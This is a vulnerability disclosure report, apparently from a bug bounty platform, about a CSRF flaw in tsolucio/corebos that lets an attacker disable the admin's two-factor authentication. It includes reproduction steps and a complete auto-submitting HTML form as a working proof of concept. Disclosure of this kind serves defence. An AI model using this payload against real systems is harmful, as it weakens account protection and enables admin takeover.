Attacker can turn off 2FA of the Admin in tsolucio/corebos
Reported on
Sep 1st 2022
Description
The attacker can turn off the 2FA of the admin by performing the CSRF attack
Steps to reproduce
Step 1: Login as admin on the demo product and navigate to https://demo.corebos.com/index.php?module=Utilities&action=integration&_op=getconfig2fa&user_list=1
Step 2: Turn on the 2FA and close the tab
Step 3: Reopen the account 2fa section --> and verify it's still on
Step 4: Close the Tab again
Step 5: Open w3schools --> HTML editor on new tab
Step 6: Copy this code and Run
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.corebos.com/index.php">
<meta name="referrer" content="no-referrer">
<input type="hidden" name="module" value="Utilities" />
<input type="hidden" name="action" value="integration" />
<input type="hidden" name="_op" value="setconfig2fa" />
<input type="hidden" name="user_list" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Step 7: Done
Successfully launched CSRF attack & 2FA of Admin turned off!
Impact
Turning off the 2FA of the Admin
Occurrences
index.php L0
(Black box testing)
References
@Maintainer
This attack 100% working on my side. If you need any kinda assist for reproducing the issue, feel free to open the ticket by pinging me. Or you need a video demonstration, that'll also be provided
Happy to help!
cheers
@admin
From the last notification > We have sent a third and final follow up to the tsolucio/corebos team. This report is now considered stale. (2 days ago)
Is that meant, the report will no more considering??
Hi Kiran PP,
This report will still be available to the maintainer to validate, however, we will no longer be sending notifications to the maintainer to remind them to do so.
